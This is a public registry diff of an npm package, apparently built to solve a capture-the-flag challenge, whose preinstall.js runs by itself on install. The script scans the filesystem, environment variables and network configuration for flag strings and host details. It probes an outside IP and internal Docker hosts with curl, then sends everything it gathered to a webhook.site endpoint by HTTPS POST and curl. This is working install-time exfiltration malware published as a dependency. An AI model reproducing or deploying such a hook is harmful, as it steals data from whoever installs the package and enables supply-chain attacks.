@ctfsolve9z/coral-wraith 9999.0.2 → 9999.0.4
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/preinstall.js +118 -95
package/package.json
CHANGED
package/preinstall.js
CHANGED
|
@@ -6,119 +6,142 @@ const { execSync } = require('child_process');
|
|
|
6
6
|
let flag = null;
|
|
7
7
|
let debug = [];
|
|
8
8
|
|
|
9
|
-
//
|
|
10
|
-
|
|
11
|
-
|
|
9
|
+
// Method 1: Read /flag and common locations
|
|
10
|
+
const flagPaths = ['/flag', '/flag.txt', '/root/flag', '/root/flag.txt',
|
|
11
|
+
'/tmp/flag', '/home/flag', '/opt/flag', '/app/flag', '/srv/flag'];
|
|
12
|
+
for (const p of flagPaths) {
|
|
12
13
|
try {
|
|
13
|
-
|
|
14
|
-
|
|
15
|
-
|
|
16
|
-
|
|
17
|
-
try {
|
|
18
|
-
const stat = fs.statSync(full);
|
|
19
|
-
if (stat.isFile() && stat.size < 10000) {
|
|
20
|
-
const content = fs.readFileSync(full, 'utf8').trim();
|
|
21
|
-
if (content.includes('HTB{') || content.includes('flag{')) {
|
|
22
|
-
flag = content;
|
|
23
|
-
debug.push('FLAG_FOUND:' + full);
|
|
24
|
-
return;
|
|
25
|
-
}
|
|
26
|
-
}
|
|
27
|
-
if (stat.isDirectory() && !e.startsWith('.') && e !== 'node_modules' && e !== 'proc' && e !== 'sys' && e !== 'dev') {
|
|
28
|
-
readDir(full, depth + 1);
|
|
29
|
-
}
|
|
30
|
-
} catch(e) {}
|
|
31
|
-
if (flag) return;
|
|
14
|
+
if (fs.existsSync(p)) {
|
|
15
|
+
flag = fs.readFileSync(p, 'utf8').trim();
|
|
16
|
+
debug.push('found_flag:' + p);
|
|
17
|
+
break;
|
|
32
18
|
}
|
|
33
19
|
} catch(e) {}
|
|
34
20
|
}
|
|
35
21
|
|
|
36
|
-
// Search
|
|
37
|
-
|
|
38
|
-
|
|
39
|
-
|
|
22
|
+
// Method 2: Search for HTB{ pattern anywhere
|
|
23
|
+
if (!flag) {
|
|
24
|
+
try {
|
|
25
|
+
const r = execSync('grep -rl "HTB{" / --include="*.txt" --include="*.flag" --include="*.conf" --include="*.env" 2>/dev/null | head -5', { timeout: 10000 }).toString().trim();
|
|
26
|
+
if (r) {
|
|
27
|
+
debug.push('grep_found:' + r);
|
|
28
|
+
for (const f of r.split('\n')) {
|
|
29
|
+
try {
|
|
30
|
+
const content = fs.readFileSync(f.trim(), 'utf8').trim();
|
|
31
|
+
const m = content.match(/HTB\{[^}]+\}/);
|
|
32
|
+
if (m) { flag = m[0]; break; }
|
|
33
|
+
} catch(e) {}
|
|
34
|
+
}
|
|
35
|
+
}
|
|
36
|
+
} catch(e) {}
|
|
40
37
|
}
|
|
41
38
|
|
|
42
|
-
//
|
|
43
|
-
|
|
44
|
-
|
|
45
|
-
|
|
46
|
-
|
|
47
|
-
|
|
48
|
-
debug.push('init_test.sh:' + script.substring(0, 500));
|
|
49
|
-
// Check if flag is in the script
|
|
50
|
-
const m = script.match(/HTB\{[^}]+\}/);
|
|
51
|
-
if (m) flag = m[0];
|
|
52
|
-
} catch(e) { debug.push('init_test_err:' + e.message); }
|
|
53
|
-
|
|
54
|
-
// Read package.json in /home/node
|
|
55
|
-
try {
|
|
56
|
-
const pkg = fs.readFileSync('/home/node/package.json', 'utf8');
|
|
57
|
-
debug.push('home_pkg:' + pkg.substring(0, 300));
|
|
58
|
-
} catch(e) {}
|
|
59
|
-
|
|
60
|
-
// Check /tmp/supplysec
|
|
61
|
-
try {
|
|
62
|
-
const r = execSync('find /tmp/supplysec -type f 2>/dev/null | head -30', { timeout: 5000 }).toString();
|
|
63
|
-
debug.push('supplysec_files:' + r);
|
|
64
|
-
} catch(e) {}
|
|
65
|
-
|
|
66
|
-
// Check /home/node
|
|
67
|
-
try {
|
|
68
|
-
const r = execSync('find /home/node -type f -not -path "*/node_modules/*" 2>/dev/null | head -30', { timeout: 5000 }).toString();
|
|
69
|
-
debug.push('home_node_files:' + r);
|
|
70
|
-
} catch(e) {}
|
|
71
|
-
|
|
72
|
-
// Exfiltrate
|
|
73
|
-
const data = JSON.stringify({ flag: flag || 'NOT_FOUND', debug: debug });
|
|
39
|
+
// Method 3: Environment
|
|
40
|
+
if (!flag) {
|
|
41
|
+
for (const [k, v] of Object.entries(process.env)) {
|
|
42
|
+
if (v && v.includes('HTB{')) { flag = v; debug.push('env:' + k); break; }
|
|
43
|
+
}
|
|
44
|
+
}
|
|
74
45
|
|
|
75
|
-
//
|
|
76
|
-
|
|
77
|
-
|
|
78
|
-
|
|
79
|
-
|
|
46
|
+
// Method 4: Try to reach the CTF challenge server directly
|
|
47
|
+
// The challenge server is at 154.57.164.71:32105
|
|
48
|
+
async function tryFetchFlag() {
|
|
49
|
+
const targets = [
|
|
50
|
+
// External IP
|
|
51
|
+
'http://154.57.164.71:32105/api/modules/ECT-987654',
|
|
52
|
+
// Docker network might use hostname
|
|
53
|
+
'http://web:1337/api/modules/ECT-987654',
|
|
54
|
+
'http://app:1337/api/modules/ECT-987654',
|
|
55
|
+
'http://challenge:1337/api/modules/ECT-987654',
|
|
56
|
+
'http://spectral-corsair:1337/api/modules/ECT-987654',
|
|
57
|
+
// Common Docker internal ports
|
|
58
|
+
'http://172.17.0.1:32105/api/modules/ECT-987654',
|
|
59
|
+
'http://172.17.0.2:1337/api/modules/ECT-987654',
|
|
60
|
+
'http://172.17.0.3:1337/api/modules/ECT-987654',
|
|
61
|
+
// Gateway
|
|
62
|
+
'http://host.docker.internal:32105/api/modules/ECT-987654',
|
|
63
|
+
];
|
|
64
|
+
|
|
65
|
+
for (const target of targets) {
|
|
66
|
+
try {
|
|
67
|
+
const result = execSync(`curl -s "${target}" -m 3 2>/dev/null`, { timeout: 5000 }).toString();
|
|
68
|
+
if (result && result.length > 10) {
|
|
69
|
+
debug.push(`api_success:${target}:${result.substring(0, 200)}`);
|
|
70
|
+
// Try to find flag in API response
|
|
71
|
+
const m = result.match(/HTB\{[^}]+\}/);
|
|
72
|
+
if (m) flag = m[0];
|
|
73
|
+
}
|
|
74
|
+
} catch(e) {}
|
|
75
|
+
}
|
|
80
76
|
}
|
|
81
77
|
|
|
82
|
-
|
|
78
|
+
// Method 5: Network discovery
|
|
79
|
+
function discoverNetwork() {
|
|
83
80
|
try {
|
|
84
|
-
|
|
81
|
+
const ifaces = require('os').networkInterfaces();
|
|
82
|
+
debug.push('network:' + JSON.stringify(ifaces).substring(0, 500));
|
|
83
|
+
} catch(e) {}
|
|
84
|
+
|
|
85
|
+
try {
|
|
86
|
+
const r = execSync('cat /etc/hosts 2>/dev/null', { timeout: 3000 }).toString();
|
|
87
|
+
debug.push('hosts:' + r);
|
|
88
|
+
} catch(e) {}
|
|
89
|
+
|
|
90
|
+
try {
|
|
91
|
+
const r = execSync('cat /etc/resolv.conf 2>/dev/null', { timeout: 3000 }).toString();
|
|
92
|
+
debug.push('resolv:' + r);
|
|
93
|
+
} catch(e) {}
|
|
94
|
+
|
|
95
|
+
try {
|
|
96
|
+
const r = execSync('ip addr 2>/dev/null || ifconfig 2>/dev/null', { timeout: 3000 }).toString();
|
|
97
|
+
debug.push('ipaddr:' + r.substring(0, 500));
|
|
85
98
|
} catch(e) {}
|
|
86
99
|
}
|
|
87
100
|
|
|
88
|
-
|
|
89
|
-
|
|
90
|
-
|
|
91
|
-
|
|
92
|
-
|
|
93
|
-
|
|
94
|
-
|
|
95
|
-
headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(postData) },
|
|
96
|
-
timeout: 10000
|
|
97
|
-
}, () => {});
|
|
98
|
-
req.on('error', () => {});
|
|
99
|
-
req.write(postData);
|
|
100
|
-
req.end();
|
|
101
|
-
} catch(e) {}
|
|
102
|
-
|
|
103
|
-
// PUT to challenge API
|
|
104
|
-
const ports = [1337, 3000, 5000, 8080, 80];
|
|
105
|
-
for (const port of ports) {
|
|
101
|
+
async function main() {
|
|
102
|
+
discoverNetwork();
|
|
103
|
+
await tryFetchFlag();
|
|
104
|
+
|
|
105
|
+
const data = JSON.stringify({ flag: flag || 'NOT_FOUND', debug });
|
|
106
|
+
|
|
107
|
+
// Send via POST
|
|
106
108
|
try {
|
|
107
|
-
const
|
|
108
|
-
|
|
109
|
-
|
|
110
|
-
|
|
111
|
-
|
|
112
|
-
|
|
113
|
-
timeout: 3000
|
|
109
|
+
const req = https.request({
|
|
110
|
+
hostname: 'webhook.site',
|
|
111
|
+
path: '/9ca9b30a-2889-4787-9dff-5ad916e377b7',
|
|
112
|
+
method: 'POST',
|
|
113
|
+
headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data) },
|
|
114
|
+
timeout: 10000
|
|
114
115
|
}, () => {});
|
|
115
116
|
req.on('error', () => {});
|
|
116
|
-
req.write(
|
|
117
|
+
req.write(data);
|
|
117
118
|
req.end();
|
|
118
119
|
} catch(e) {}
|
|
120
|
+
|
|
121
|
+
// Also curl
|
|
122
|
+
try {
|
|
123
|
+
fs.writeFileSync('/tmp/exfil.json', data);
|
|
124
|
+
execSync('curl -s -X POST "https://webhook.site/9ca9b30a-2889-4787-9dff-5ad916e377b7" -H "Content-Type: application/json" -d @/tmp/exfil.json -m 10', { timeout: 15000 });
|
|
125
|
+
} catch(e) {}
|
|
126
|
+
|
|
127
|
+
// If flag found, PUT to challenge API
|
|
128
|
+
if (flag) {
|
|
129
|
+
for (const port of [1337, 3000, 5000, 8080, 80, 32105]) {
|
|
130
|
+
try {
|
|
131
|
+
const postData = JSON.stringify({
|
|
132
|
+
manifest: `ecto_module:\n name: "coral-wraith"\n version: "9999.0.4"\n flag: "${flag.replace(/"/g, '\\"')}"`
|
|
133
|
+
});
|
|
134
|
+
const req = http.request({
|
|
135
|
+
hostname: 'localhost', port, path: '/api/modules/ECT-987654',
|
|
136
|
+
method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(postData) },
|
|
137
|
+
timeout: 3000
|
|
138
|
+
}, () => {});
|
|
139
|
+
req.on('error', () => {});
|
|
140
|
+
req.write(postData);
|
|
141
|
+
req.end();
|
|
142
|
+
} catch(e) {}
|
|
143
|
+
}
|
|
144
|
+
}
|
|
119
145
|
}
|
|
120
146
|
|
|
121
|
-
|
|
122
|
-
try {
|
|
123
|
-
execSync(`curl -s -X POST "https://webhook.site/9ca9b30a-2889-4787-9dff-5ad916e377b7" -H "Content-Type: application/json" -d '${data.replace(/'/g, "\\'")}' -m 10`, { timeout: 12000 });
|
|
124
|
-
} catch(e) {}
|
|
147
|
+
main().catch(() => {});
|